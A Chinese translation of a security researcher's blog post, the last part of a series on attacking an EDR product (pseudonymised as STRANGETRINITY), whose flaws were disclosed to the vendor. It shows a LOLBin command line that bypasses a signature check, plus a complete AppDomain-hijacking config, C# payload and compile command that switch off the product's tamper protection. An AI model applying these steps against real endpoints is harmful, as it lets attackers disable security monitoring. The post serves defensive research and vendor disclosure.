原文链接:https://riccardoancarani.github.io/2023-11-07-attacking-an-edr-part-3/
介绍
DISCLAMER:这篇文章是与Devid Lana合作完成的。你可以在这里找到他的博客:https://her0ness.github.io
在本系列的第三部分也是最后一部分中,我们将更深入地挖掘 EDR 的upload进程,并发现一些逻辑缺陷,这些缺陷最终导致我们完全解除了EDR解决方案的武装。此外,作为对我们努力的意外享受,在此进程中还发现了一个新的“LOLBin”。这部分的代码会更繁重一些,我们将尽量减少不必要的臃肿,但读者可能需要通过一些额外的参考资料来充分发挥它。
如上所述,这部分研究的重点是更新进程,EDR解决方案最终需要重新启动或调整自己的配置以应用新的变更。对于新的变更,我们主要是指需要修改二进制文件或类似二进制文件的软件更新,而不是对特征库进行简单更新。
从高层次的角度来看,当软件需要应用更新时,可能会出现以下情况:
- 更新由需要更新的同一组件完成(即哪个组件需要更新,那他就自行更新)
- 更新被委派给一个全权负责的其他组件(即一个组件负责执行更新的相关指令)
虽然对于普通软件来说这可能不是一个大问题,但对于需要保护自己不受不应该的修改和篡改的 EDR 来说,这可能是一项不那么简单就完成的任务。
在我们的攻击场景中,我们假设正在运行保护策略的EDR在某个时候必须暂时取消一些通常到位的对策,以允许引入额外的软件组件。
当然,并非每个更新机制都需要以这种方式运行,我们不能断定该机制在设计上存在缺陷。每个案例都应该从架构和实现的角度仔细审查。然而,通常情况下,即使是极其复杂的软件架构,其安全性的核心部分也基于假设,而这些假设在实践中可能与现实不符。我们确实认为,安装、卸载和更新过程中应包含于每个在其资产中引入第三方工具的供应商或公司的威胁模型中。您可能会开始询问以下一些问题来指导威胁建模练习:
EDR 是否会暂时降低其安全状况以允许更新?这个窗口期是否足以让攻击者执行恶意操作? 卸载过程在实践中是如何工作的?它是否需要从集中式租户(或本地server)生成的代码? 对 EDR 软件的数字签名有多少“信任”?与不存在于 EDR 供应商签名进程中的威胁相比,存在于 EDR 供应商签名进程中的威胁是否具有更大的生存空间?
假设如下:
- 恶意软件将无法获取与供应商相同的代码签名证书
- 恶意软件将无法打开 EDR 进程的特权句柄
可能会产生误导,并给人一种虚假的安全感。我们的建议是开始挑战这些假设,并开始设计能够承受这些情况的产品。
攻击一定会在解决方案处于最佳状态时才会发生,这种假设是完全不正确的。我们显然不是这种方法的先驱,Prelude Security 的团队 An Argument for Continous Security Testing 也讨论了类似的概念。
理论够多了,让我们动手吧。
挖掘过程
故障转储文件
该过程首先分析 EDR 解决方案在磁盘上留下的所有文件、日志和一般的组件,这些组件是其功能的附件。从本质上讲,我们看到的是所有“剩下”的东西。
不出所料,在 C:\ProgramData 文件夹中,可以找到与 STRANGETRINITY 产品相关的子文件夹。在该文件夹中,标识了 UserCrashDump 目录。该文件夹主要包含文本文件,这些文件显然存储了与产品安装和更新相关的日志。在所有条目中,经过仔细分析,发现了一个有趣的命令行:
<TIMESTAMP> Property Change: Adding ApplyConfigProtectRollback property, its value is: StrangeTrinity.exe unshield_from_authorized_process
嗯,这听起来很有趣。显然,当时我们不知道该命令的功能是什么,我们只能通过它的名称来猜测。然而,这听起来很有希望,足以推动我们继续朝着这条路前进。
在不浪费太多时间的情况下,我们尝试从高权限的cmd窗口再次运行相同的命令,然后......(在心里打鼓)...它没有用!然而,对我们来说幸运的是,该程序足够好心地给了我们一些提示,说明为什么它不起作用。具体来说,我们得到的输出是这样的:
Parent process is not signed by `Vendor`
`Unshield not approved.`
解除对授权进程的屏蔽
通过运行上述命令获得的报错内容信息量很大,足以让我们认为 EDR 服务正在执行的主要检测完全基于调用 StrangeTrinity.exe unshield_from_authorized_process 命令对进程的数字签名来验证。
在这一点上,我们显然遇到了一个问题,没有用于签署 STRANGETRINITY 软件的私钥,我们根本无法签署任意 EXE 并让它调用我们的命令。然后执行了以下测试:
- 将 shellcode 注入正在运行的 EDR 进程
- 将 shellcode 注入到临时创建的挂起的 EDR 进程中,称为fork and run模式
- 在受感染的主机上安装恶意证书颁发机构,并使用与供应商主题相同的证书对任意 EXE 进行签名
不幸的是,以上方法都不起作用(我们鼓励读者尝试这些测试)。
A new LOLBin?
与大多数顶级 EDR 一样,STRANGETRINITY 具有某种实时响应功能,允许响应者在他们正在分析的主机上运行任意命令并执行脚本。如果这听起来像是C2,那是因为它几乎就是!
不同的产品以不同的方式实现此功能,但是,STRANGETRINITY 有一个专用进程,当分析师从主租户发起实时响应会话时,就会产生该进程。该程序实质上是执行一个 powershell 进程,并将其输出内容通过管道传输到命名管道;我们想象一下,输出内容随后被发送到主代理进程,并最终重定向到集中式租户供分析师查看。
使用 Sysmon 的 EventID 1 对已执行进程进行简要检查后,揭示了该解决方案使用的命令行:
StrangeTrinityResponseShell.exe “powershell.exe -enc ….”
这看起来很简单!我们很快尝试使用不同的命令行执行StrangeTrinityResponseShell.exe,并且运行良好。除了是一个 LOLBin(我们不会发布它以保持我们在本系列的第 1 部分中讨论的相同级别的完整性)之外,它还构成了一个有趣的payload,然后我们可以使用它来绕过上一章中讨论的父进程签名检查。
测试这很简单,因为我们只需要执行以下命令:
StrangeTrinityResponseShell.exe “StrangeTrinity.exe unshield_from_authorized_process”
出乎意料的是,我们得到了一个 取消屏蔽的批准提示,这看起来毕竟是一个破解方式!使用官方故障排除实用程序检查 EDR 的配置确实表明防篡改器已被禁用,并且该解决方案可以被卸载或篡改。
Appdomain 劫持
LOLBin 部分很有趣,但在将漏洞提交给供应商之前,我们一直在寻找其他途径。这样做主要是为了增加我们报告传递正确信息的机会。
在签名进程的环境中执行代码的另一种方法是利用 Appdomain 劫持技术。这项技术并不是什么新鲜事,您可以在网络上找到大量资源。但简而言之,Appdomain 劫持是一种攻击,它允许攻击者通过在清单文件中指定一组条目来强制合法的 .NET 应用程序加载自定义 .NET 程序集。清单文件只是一个扩展名为 .config 的 XML 配置文件。网络上充斥着功能齐全的 PoC,可以很容易地将其武器化。但是,为了使用这种攻击,我们必须找到一个同样由供应商签名的 .NET 二进制文件。
如果您碰巧有 VirusTotal的企业订阅,只需在签名标签中查找具有特定供应商的 .NET 二进制文件并下载提交的文件会更容易。幸运的是,我们不必执行任何操作,因为供应商还安装了一系列程序,用于将主机上的日志收集到一个单独的文件夹中,其中一个是使用 .NET 框架编写的。
为了利用这一点,我们将日志代理系列程序复制到任意文件夹中,并在其旁边放置了以下名为 LogAgent.exe.config 的文件:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Test"/>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
配置文件的名称必须与目标的可执行文件相同,并在末尾附加 .config,否则攻击将不起作用。
检查上面的配置文件,可以看到配置文件指定应用程序应加载一个名为 test 的新 appdomain 管理器,在本例中是我们的自定义恶意程序。Test.cs文件的代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.IO;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Text;
using System.Threading.Tasks;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
Program.Main(new string[] {});
}
}
public class Program
{
public static void Main(string[] args)
{
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.FileName = @"C:\\Program Files\\STRANGETRINITY\\StrangeTrinity.exe";
startInfo.Arguments = "unshield_from_authorized_process";
System.Diagnostics.Process.Start( startInfo);
}
}
上面的代码片段显示了恶意的 .NET 程序集的代码,该程序集只是使用正常的命令行生成StrangeTrinity.exe进程以禁用它。
为了编译 DLL,使用了 csc.exe 实用工具:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /target:library /out:test.dll .\test.cs
要执行攻击,请将所有文件放在同一个文件夹中:
- LogAgent.exe.config
- LogAgent.exe
- test.dll
启动 LogAgent.exe 实用工具后,恶意 .NET DLL 将加载到最终启动StrangeTrinity.exe的签名进程中。攻击按预期进行,解除了解决方案的防篡改最后一道防线,并将问题传达给供应商。
结论
这篇文章结束了我们关于攻击 EDR 的系列文章,我们希望您能像我们写它一样享受阅读它的乐趣。非常感谢 REDACTED,它允许我们测试我们想要的所有东西,并响应并修复漏洞。尽管我们知道该行业在合作研究方面有很大的改进潜力,但我们确实希望这将为未来的工作奠定更坚实的基础。如果您是供应商,并且愿意让我们访问您的解决方案,我们将很乐意查看!